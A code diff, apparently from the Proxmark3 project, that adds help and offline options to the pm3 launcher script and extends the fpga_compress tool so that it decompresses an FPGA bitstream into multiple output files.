$SCRIPT [--list] [--help] $SCRIPT [--list] [-h|--help] [-hh|--helpclient]
$SCRIPT [-o|--offline]
Arguments: Arguments:
--help this help -h/--help this help
-hh/--helpclient proxmark3 client help (the script will forward these options)
--list list all detected com ports --list list all detected com ports
-n <N> connect device refered to the N:th number on the --list output -n <N> connect device referred to the N:th number on the --list output
-c 'cmd' execute the pm3 cmd in client and exit afterwards -o/--offline shortcut to use directly the proxmark3 client without guessing ports
-i interactive, stay in client after executing a cmd or script
-s 'script' execute a cmd script file and exit afterwards
-l 'luascript' execute a lua script file and exit afterwards
-w wait
-p <port> specifiy which port to connect to
Samples: Samples:
./$SCRIPT -- Auto detect/ select com port in the following order BT, USB/CDC, BT DONGLE ./$SCRIPT -- Auto detect/ select com port in the following order BT, USB/CDC, BT DONGLE
@ -388,13 +383,31 @@ else
echo >&2 "[!!] Script ran under unknown name, abort: $SCRIPT" echo >&2 "[!!] Script ran under unknown name, abort: $SCRIPT"
exit 1 exit 1
fi fi
if [ "$1" == "-h" ] || [ "$1" == "--help" ]; then
# priority to the help options
for ARG; do
if [ "$ARG" == "-h" ] || [ "$ARG" == "--help" ]; then
HELP HELP
exit 0 exit 0
fi fi
if [ "$ARG" == "-hh" ] || [ "$ARG" == "--helpclient" ]; then
CMD "-h"
exit 0
fi
done
# if offline, bypass the script and forward all other args
for ARG; do
shift
if [ "$ARG" == "-o" ] || [ "$ARG" == "--offline" ]; then
CMD "$@"
exit $?
fi
set -- "$@" "$ARG"
done
# if a port is already provided, let's just run the command as such # if a port is already provided, let's just run the command as such
for ARG in "$@"; do for ARG; do
if [ "$ARG" == "-p" ]; then if [ "$ARG" == "-p" ]; then
CMD "$@" CMD "$@"
exit $? exit $?

View file

@ -26,8 +26,8 @@ static void usage(void) {
fprintf(stdout, " Combine n FPGA bitstream files and compress them into one.\n\n"); fprintf(stdout, " Combine n FPGA bitstream files and compress them into one.\n\n");
fprintf(stdout, " fpga_compress -v <infile1> <infile2> ... <infile_n> <outfile>\n"); fprintf(stdout, " fpga_compress -v <infile1> <infile2> ... <infile_n> <outfile>\n");
fprintf(stdout, " Extract Version Information from FPGA bitstream files and write it to <outfile>\n\n"); fprintf(stdout, " Extract Version Information from FPGA bitstream files and write it to <outfile>\n\n");
fprintf(stdout, " fpga_compress -d <infile> <outfile>\n"); fprintf(stdout, " fpga_compress -d <infile> <outfile(s)>\n");
fprintf(stdout, " Decompress <infile>. Write result to <outfile>\n\n"); fprintf(stdout, " Decompress <infile>. Write result to <outfile(s)>\n\n");
} }
static bool all_feof(FILE *infile[], uint8_t num_infiles) { static bool all_feof(FILE *infile[], uint8_t num_infiles) {
@ -51,7 +51,7 @@ static int zlib_compress(FILE *infile[], uint8_t num_infiles, FILE *outfile) {
uint32_t total_size = 0; uint32_t total_size = 0;
do { do {
if (total_size >= num_infiles * FPGA_CONFIG_SIZE) { if (total_size > num_infiles * FPGA_CONFIG_SIZE) {
fprintf(stderr, fprintf(stderr,
"Input files too big (total > %li bytes). These are probably not PM3 FPGA config files.\n" "Input files too big (total > %li bytes). These are probably not PM3 FPGA config files.\n"
, num_infiles * FPGA_CONFIG_SIZE , num_infiles * FPGA_CONFIG_SIZE
@ -140,8 +140,13 @@ typedef struct lz4_stream_s {
int avail_in; int avail_in;
} lz4_stream; } lz4_stream;
static int zlib_decompress(FILE *infile, FILE *outfile) {
// Call it either with opened infile + outsize=0
// or with opened infile, opened outfiles, num_outfiles and valid outsize
static int zlib_decompress(FILE *infile, FILE *outfiles[], uint8_t num_outfiles, long *outsize) {
if (num_outfiles > 10) {
return (EXIT_FAILURE);
}
LZ4_streamDecode_t lz4StreamDecode_body = {{ 0 }}; LZ4_streamDecode_t lz4StreamDecode_body = {{ 0 }};
char outbuf[FPGA_RING_BUFFER_BYTES]; char outbuf[FPGA_RING_BUFFER_BYTES];
@ -151,17 +156,29 @@ static int zlib_decompress(FILE *infile, FILE *outfile) {
if (infile_size <= 0) { if (infile_size <= 0) {
printf("error, when getting filesize"); printf("error, when getting filesize");
fclose(outfile); if (*outsize > 0) {
fclose(infile); fclose(infile);
for (uint16_t j = 0; j < num_outfiles; j++) {
fclose(outfiles[j]);
}
}
return (EXIT_FAILURE); return (EXIT_FAILURE);
} }
char *outbufall = NULL;
if (*outsize > 0) {
outbufall = calloc(*outsize, sizeof(char));
}
char *inbuf = calloc(infile_size, sizeof(char)); char *inbuf = calloc(infile_size, sizeof(char));
size_t num_read = fread(inbuf, sizeof(char), infile_size, infile); size_t num_read = fread(inbuf, sizeof(char), infile_size, infile);
if (num_read != infile_size) { if (num_read != infile_size) {
fclose(outfile); if (*outsize > 0) {
fclose(infile); fclose(infile);
for (uint16_t j = 0; j < num_outfiles; j++) {
fclose(outfiles[j]);
}
}
free(inbuf); free(inbuf);
return (EXIT_FAILURE); return (EXIT_FAILURE);
} }
@ -172,7 +189,7 @@ static int zlib_decompress(FILE *infile, FILE *outfile) {
compressed_fpga_stream.next_in = inbuf; compressed_fpga_stream.next_in = inbuf;
compressed_fpga_stream.avail_in = infile_size; compressed_fpga_stream.avail_in = infile_size;
int total_size = 0; long total_size = 0;
while (compressed_fpga_stream.avail_in > 0) { while (compressed_fpga_stream.avail_in > 0) {
int cmp_bytes; int cmp_bytes;
memcpy(&cmp_bytes, compressed_fpga_stream.next_in, sizeof(int)); memcpy(&cmp_bytes, compressed_fpga_stream.next_in, sizeof(int));
@ -182,14 +199,54 @@ static int zlib_decompress(FILE *infile, FILE *outfile) {
if (decBytes <= 0) { if (decBytes <= 0) {
break; break;
} }
fwrite(outbuf, decBytes, sizeof(char), outfile); if (outbufall != NULL) {
memcpy(outbufall + total_size, outbuf, decBytes);
}
total_size += decBytes; total_size += decBytes;
compressed_fpga_stream.next_in += cmp_bytes; compressed_fpga_stream.next_in += cmp_bytes;
} }
printf("uncompressed %li input bytes to %i output bytes\n", infile_size, total_size); if (outbufall == NULL) {
fclose(outfile); *outsize = total_size;
fseek(infile, 0L, SEEK_SET);
return EXIT_SUCCESS;
} else {
fclose(infile); fclose(infile);
free(inbuf); // seeking for trailing zeroes
long offset = 0;
long outfilesizes[10] = {0};
for (uint16_t k = 0; k < *outsize / (FPGA_INTERLEAVE_SIZE * num_outfiles); k++) {
for (uint16_t j = 0; j < num_outfiles; j++) {
for (long i = 0; i < FPGA_INTERLEAVE_SIZE; i++) {
if (outbufall[offset + i]) {
outfilesizes[j] = (k * FPGA_INTERLEAVE_SIZE) + i + 1;
}
}
offset += FPGA_INTERLEAVE_SIZE;
}
}
total_size = 0;
// FPGA bit file ends with 16 zeroes
for (uint16_t j = 0; j < num_outfiles; j++) {
outfilesizes[j] += 16;
total_size += outfilesizes[j];
}
offset = 0;
for (uint16_t k = 0; k < *outsize / (FPGA_INTERLEAVE_SIZE * num_outfiles); k++) {
for (uint16_t j = 0; j < num_outfiles; j++) {
if (k * FPGA_INTERLEAVE_SIZE < outfilesizes[j]) {
uint16_t chunk = outfilesizes[j] - (k * FPGA_INTERLEAVE_SIZE) < FPGA_INTERLEAVE_SIZE ? outfilesizes[j] - (k * FPGA_INTERLEAVE_SIZE) : FPGA_INTERLEAVE_SIZE;
fwrite(outbufall + offset, chunk, sizeof(char), outfiles[j]);
}
offset += FPGA_INTERLEAVE_SIZE;
}
}
printf("uncompressed %li input bytes to %li output bytes\n", infile_size, total_size);
}
if (*outsize > 0) {
for (uint16_t j = 0; j < num_outfiles; j++) {
fclose(outfiles[j]);
}
}
return (EXIT_SUCCESS); return (EXIT_SUCCESS);
} }
@ -362,29 +419,42 @@ int main(int argc, char **argv) {
if (!strcmp(argv[1], "-d")) { // Decompress if (!strcmp(argv[1], "-d")) { // Decompress
FILE **infiles = calloc(1, sizeof(FILE *)); if (argc < 4) {
if (argc != 4) {
usage(); usage();
free(infiles);
return (EXIT_FAILURE); return (EXIT_FAILURE);
} }
infiles[0] = fopen(argv[2], "rb"); int num_output_files = argc - 3;
if (infiles[0] == NULL) { FILE **outfiles = calloc(num_output_files, sizeof(FILE *));
char **outfile_names = calloc(num_output_files, sizeof(char *));
for (uint16_t i = 0; i < num_output_files; i++) {
outfile_names[i] = argv[i + 3];
outfiles[i] = fopen(outfile_names[i], "wb");
if (outfiles[i] == NULL) {
fprintf(stderr, "Error. Cannot open output file %s\n\n", outfile_names[i]);
free(outfile_names);
free(outfiles);
return (EXIT_FAILURE);
}
}
FILE *infile = fopen(argv[2], "rb");
if (infile == NULL) {
fprintf(stderr, "Error. Cannot open input file %s\n\n", argv[2]); fprintf(stderr, "Error. Cannot open input file %s\n\n", argv[2]);
free(infiles); free(outfile_names);
return (EXIT_FAILURE); free(outfiles);
}
FILE *outfile = fopen(argv[3], "wb");
if (outfile == NULL) {
fprintf(stderr, "Error. Cannot open output file %s\n\n", argv[3]);
free(infiles);
return (EXIT_FAILURE); return (EXIT_FAILURE);
} }
int ret = zlib_decompress(infiles[0], outfile); long outsize = 0;
free(infiles); int ret = 0;
// First call to estimate output size
ret = zlib_decompress(infile, outfiles, num_output_files, &outsize);
if (ret == EXIT_SUCCESS) {
// Second call to create files
ret = zlib_decompress(infile, outfiles, num_output_files, &outsize);
}
free(outfile_names);
free(outfiles);
return (ret); return (ret);
} else { // Compress or generate version info } else { // Compress or generate version info
bool generate_version_file = false; bool generate_version_file = false;